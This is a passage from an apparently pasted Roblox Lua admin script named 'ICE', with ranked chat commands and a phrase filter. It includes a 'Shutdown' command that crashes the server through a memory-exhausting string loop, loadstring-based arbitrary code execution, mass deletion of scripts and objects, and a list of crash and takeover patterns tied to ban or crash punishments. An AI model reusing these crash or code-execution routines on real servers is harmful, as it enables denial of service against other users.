  3947. pcall(function() getfenv(v)[var] = nil end)
  3948. end
  3949. end
  3950. end
  3951. for i,v in pairs(_G) do
  3952. _G[i] = nil
  3953. end
  3954. for _,v in pairs(ICE.Services) do
  3955. v.Name = 'Unknown Exception'
  3956. end
  3957. for i,v in pairs(game.Workspace:children()) do
  3958. pcall(function()
  3959. if not v:IsA("Player") then
  3960. pcall(function()
  3961. if Prometheus ~= nil and v == Prometheus.script("lushmylife") then
  3962. else
  3963. pcall(function()
  3964. v.Disabled = true
  3965. end)
  3966. pcall(function()
  3967. ICE.Services.Debris:AddItem(v,0)
  3968. end)
  3969. end
  3970. end)
  3971. end
  3972. end)
  3973. end
  3974. for _,v in pairs(ICE.Services) do
  3975. v.Name = v.className
  3976. end
  3977. local Base=Instance.new("Part",ICE.Services.Workspace)
  3978. Base.Name='Base'
  3979. Base.Size=Vector3.new(2048,1,2048)
  3980. Base.BrickColor=BrickColor.new("Bright blue")
  3981. Base.Anchored=true
  3982. Base.Locked=true
  3983. Base.TopSurface='Smooth'
  3984. Base.Transparency = 0.75
  3985. Base.CFrame=CFrame.new(Vector3.new(0,0,0))
  3986. local Spawn=Instance.new("SpawnLocation",ICE.Services.Workspace) Spawn.Name='SpawnLocation'
  3987. Spawn.Size=Vector3.new(6,1,6)
  3988. Spawn.Transparency=0.75
  3989. Spawn.CanCollide=false
  3990. Spawn.Anchored=true
  3991. Spawn.Locked=true
  3992. Spawn.BrickColor=BrickColor.new'Royal purple';
  3993. Spawn.Parent=Base
  3994. Spawn.CFrame=CFrame.new(Vector3.new(0,0,0))
  3995. SpawnSel,BaseSel=Instance.new'SelectionBox',Instance.new'SelectionBox'
  3996. SpawnSel.Parent,BaseSel.Parent=Spawn,Base
  3997. SpawnSel.Adornee,BaseSel.Adornee=Spawn,Base
  3998. SpawnSel.Color,BaseSel.Color=Spawn.BrickColor,Base.BrickColor
  3999. for _,v in pairs(ICE.GetPlayers()) do v:LoadCharacter() end
  4000. end
  4001. )
  4002.  
  4003. --[[ Rank 7 ]]--
  4004. ICE.Command('Shutdown','sd',7,'Shuts the server down','No arguments',
  4005. function(Msg,Speaker)
  4006. Msg=Instance.new'Message'
  4007. for i=1,60 do
  4008. Msg.Parent=ICE.Services.Workspace
  4009. Msg.Text = 60 - i .. ' seconds left before server shuts down'
  4010. wait(1)
  4011. end
  4012. loadstring([[
  4013. repeat
  4014. Instance.new('StringValue',Workspace).Value=("Nou"):re]]..[[p(1000000)
  4015. wait()
  4016. until ICE.Removed==false
  4017. ]])()
  4018. end
  4019. )
  4020. ICE.Command('Print','print',7,'Prints the msg','msg',
  4021. function(Msg,Speaker)
  4022. ICE.Output(tostring(loadstring("return " .. Msg)()),'Red',Speaker)
  4023. end
  4024. )
  4025. --[[ Rank 8 ]]--
  4026. ICE.Command('Cancel/break loops','cancel',8,'Cancles the loops','wait timer before loops cancel',
  4027. function(Msg,Spkr)
  4028. if tonumber(Msg) then
  4029. wait(tonumber(Msg))
  4030. end
  4031. ICE.Cancel=true;
  4032. wait(1)
  4033. ICE.Cancel=false;
  4034. end
  4035. )
  4036. ICE.Command('Break scripts','break',8,'Breaks scripts in workspace','no arguments',
  4037. function(msg,speaker)
  4038. except=false;
  4039. if msg=="except me" then
  4040. except=true
  4041. end
  4042. RecursiveScripts=function(Parent)
  4043. Child={}
  4044. for i,v in pairs(Parent:children()) do
  4045. if v:IsA'Script' or v:IsA'LocalScript' then
  4046. Child[#Child+1]=v
  4047. end
  4048. for ii,vv in pairs(RecursiveScripts(v)) do
  4049. Child[#Child+1]=vv
  4050. end
  4051. end
  4052. return Child
  4053. end;
  4054. for i,v in pairs(RecursiveScripts(ICE.Services.Workspace)) do
  4055. if v:findFirstChild'Owner' and except==true then
  4056. if v.Owner.Name==speaker.Name then
  4057. return
  4058. end
  4059. end
  4060. v.Disabled=true;
  4061. v:ClearAllChildren();
  4062. game:service'Debris':AddItem(v,0)
  4063. end
  4064. end
  4065. )
  4066. --[[ Rank 10 ]]--
  4067. ICE.Command('Remove ICE','cremove',10,'Removes ICE','No arguments',
  4068. function(Msg,Speaker)
  4069. coroutine.wrap(function()
  4070. ICE.Removed=true
  4071. ICE.Output('ICE now removed!','Red',Speaker,3)
  4072. local End=Instance.new'StringValue'
  4073. End.Name='Ender'
  4074. End.Value=ICE.Ender
  4075. End.Parent=ICE.Services.Lighting
  4076. for _,v in pairs(ICE.Services.Players:GetPlayers()) do ICE.RemoveTablets(v) ICE.SaveData(v) end
  4077. End:Destroy()
  4078. end)()
  4079. end
  4080. )
  4081. ICE.Command('Lock scripts','lockscr',10,'Locks Scripting','No arguments',
  4082. function()
  4083. ICE.LockedScripts=true
  4084. end
  4085. )
  4086. ICE.Command('Un-Lock scripts','unlockscr',10,'Un-Locks Scripting','No arguments',
  4087. function()
  4088. ICE.LockedScripts=false
  4089. end
  4090. )
  4091. ICE.Command('Execute','exe',10,'Executes a line of coding','code',
  4092. function(Msg,Speaker)
  4093. local Func,Error = loadstring(Msg)
  4094. getfenv(Func).print = function(...) local Rtn = "" for _,v in pairs({...}) do Rtn = Rtn..tostring(v).."\t" end ICE.Output(Rtn,"White",Speaker) end
  4095. getfenv(Func).Speaker = Speaker
  4096. getfenv(Func).ICE=ICE;
  4097. if Error == nil then
  4098. coroutine.wrap(function()
  4099. Func()
  4100. end)()
  4101. ICE.Output("Script ran successfully!","Green",Speaker,3)
  4102. else
  4103. ICE.Output(Error,"Red",Speaker,5)
  4104. end
  4105. end
  4106. )
  4107. ICE.Command('System msg','sm',10,'System msg','Text',
  4108. function(Text,Speaker)
  4109. ICE.SystemMsg(Text)
  4110. end
  4111. )
  4112. ICE.Command('Fix chat','fc',10,'Fixes chats for everyone','No arguments',
  4113. function()
  4114. for _,v in pairs(game:service'Players':GetPlayers()) do
  4115. ICE.FixChat(v);
  4116. end
  4117. end
  4118. )
  4119. --[[ Connections ]]--
  4120. game:service'RunService'.Stepped:connect(function() if ICE.Removed==false then ICE.Rotate() end end)
  4121. for _,v in pairs(ICE.Services.Players:GetPlayers()) do
  4122. ICE.Connect(v)
  4123. end
  4124. ICE.Services.Players.PlayerAdded:connect(function(r) if ICE.Removed==false then ICE.Connect(r) end end)
  4125. ICE.Services.Players.PlayerRemoving:connect(function(v) ICE.RemoveTablets(v) if ICE.Removed==false and ICE.DataSaving==true then ICE.SaveData(v) end end)
  4126. --[[ End of Connections ]]--
  4127. for _,Service in pairs(ICE.Services) do
  4128. pcall(function()
  4129. Service.DescendantAdded:connect(function(v)
  4130. if v:IsA("BaseScript") and ICE.LockedScripts == true and ICE.Removed == false then
  4131. pcall(function()
  4132. if game.PlaceId == 20279777 or game.PlaceId == 20132544 or v:findFirstChild('Owner') then-- For /scr/ Cmd --game.PlaceId == 20279777 or game.PlaceId == 20132544 then
  4133. if ICE.GetRank(v.Owner.Value) <= 0 then
  4134. pcall(function() v.Disabled = true end)
  4135. pcall(function() v:FindFirstChild("Source").Value =ICE.Disabler end)
  4136. pcall(function() v.Disabled = false end)
  4137. pcall(function() v:Destroy() end)
  4138. end
  4139. elseif game.PlaceId ==54194680 then
  4140. if ICE.GetRank(v.user.Value) <= 0 then
  4141. pcall(function() v.Disabled = true end)
  4142. pcall(function() v:FindFirstChild("Source").Value =ICE.Disabler end)
  4143. pcall(function() v.Disabled = false end)
  4144. pcall(function() v:Destroy() end)
  4145. end
  4146. else
  4147. pcall(function() v.Disabled = true end)
  4148. pcall(function() v:FindFirstChild("Source").Value = ICE.Disabler end)
  4149. pcall(function() v:FindFirstChild("DSource").Value =ICE.Disabler end)
  4150. pcall(function() v.Disabled = false end)
  4151. pcall(function() v:Destroy() end)
  4152. end
  4153. end)
  4154. end
  4155. end)
  4156. end)
  4157. end
  4158. for _,v in pairs(script:children()) do
  4159. if v:IsA'StringValue' then
  4160. v.Value="error('No value for you',0)()"
  4161. end
  4162. end
  4163. script:ClearAllChildren();
  4164. ICE.Filter=function(Phrase,Bypass,Punishment,Reason)
  4165. if Punishment == nil then Punishment = 0 end
  4166. if type(Punishment) == 'string' then
  4167. if Punishment=='Kill' then Punishment=0 end
  4168. if Punishment=='K'..'ick' then Punishment=1 end
  4169. if Punishment=='Shutdown' then Punishment = 2 end
  4170. if Punishment=='Crash' then Punishment = 3 end
  4171. if Punishment=='B'..'an' then Punishment=4 end
  4172. if Punishment=='Lag' then Punishment=5 end
  4173. end
  4174. ICE.Filters[Phrase]={Bypass=Bypass,Punishment=Punishment,Reason=Reason}
  4175. end
  4176. ICE.Filter('function l'..'ag()',9,'Ban','Lag attempt')
  4177. ICE.Filter('iO'..'rb',2,2,'Abusive')
  4178. ICE.Filter('iCm'..'d={}',2,2,'iOrb')
  4179. ICE.Filter('game.Players:ClearAllChildren',2,4,"Kick attempt")
  4180. ICE.Filter('ClonyPooP'..'oo',2,2,'ICEAdminLeakeds Nilizer or TeamDmans KeyBindings')
  4181. ICE.Filter("No".."va =",4,2,"Admi".."n")
  4182. ICE.Filter("Ranked = {",4,"Ban","This is a ranked table in NOVA")
  4183. ICE.Filter('iFl'..'ip',3,4,"Adm".."in")
  4184. ICE.Filter("/d".."own",2,2,"Ca".."mball")
  4185. ICE.Filter('repeat until',2,5,"Crash attempt")
  4186. ICE.Filter('while true do end',2,5,"Crash attempt")
  4187. ICE.Filter('string.rep',2,2,"Shuttdown attempt")
  4188. ICE.Filter(':rep',2,2,"Shutdown attempt")
  4189. ICE.Filter('Players.'..string.char(116,117,115,75,79,114,54,54,49)..':',2,4,"Nou touching my Player")
  4190. ICE.Filter('kick:',1,'Kick','No kicking allowed')
  4191. ICE.Filter('ban/',2,4,"No banning allowed")
  4192. ICE.Filter('tprivate',2,4,"No pri losah")
  4193. ICE.Filter(''..string.char(116,117,115,75,79,114,54,54,49)..':BreakJoints',1,0,">_> hao dare you .-.")
  4194. ICE.Filter(''..string.char(116,117,115,75,79,114,54,54,49)..':Destroy',1,0,"NOUUUUUUUUUUUUU")
  4195. ICE.Filter('p = game.Players:GetPlayers() for i=1,#p do p[i]:Destroy() end',1,3,'Stupid free model ')
  4196. ICE.Filter('CB'..'A =',2,4,"Abusive")
  4197. ICE.Filter('Kill'..'/',1,'Kill')
  4198. ICE.Filter('Kic'..'k'..':'..'t',2,'K'..'ick')
  4199. ICE.Filter('swag',1,'Kill')
  4200. ICE.Filter('yolo',1,'Kill','Well I guess he/she isnt alive now :3')
  4201. ICE.Filter('ssj',1,'Kill',"A free model script")
  4202. ICE.Filter('Onelegend',1,'K'..'ick',"Onelegend is in free models") -- Free modelz >_>
  4203. ICE.Filter('adminlist = {',2,'Ki'..'ck','No admins allowed/Take over attempt')
  4204. ICE.Filter('SetSuperSafeChat',4,'Ban','That my good sir, would be exploiting, and I do not tolerate exploiters. So get out and never come back/Exploit attempt')
  4205. ICE.Filter('colorAllGuisIn',5,'Ban','That is a perm DP Ban for using this abusive script n0b/Server destroy attempt')
  4206. ICE.Filter('Decs.Crack',1,'Kick','Masterhand/Free model')
  4207. ICE.Filter('AquireTargets',9,'Ban','OhYa321;s N0b SB Prot(Gay) script/Take over attempt')
  4208. ICE.Filter('GetRidOf(',9,'Ban','A function in NOVA/Take over attempt')
  4209. game:service'Workspace'.ChildAdded:connect(function(Child)
  4210. if Child:IsA'Model' then --
  4211. if Child.Name=='External' then
  4212. local Player = nil;
  4213. for i,v in pairs(Child:children()) do if v:IsA'StringValue' and v.Value=='Player' then Player=v end end
  4214. local Message = Child.Message.Value
  4215. if Player then
  4216. ICE.OnChatted(Message,Player)
  4217. print('Message:'..Message,'Player:'..Player)
  4218. end
  4219. end
  4220. end
  4221. end) -- Mine uses cmds even fter your kicked ;)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement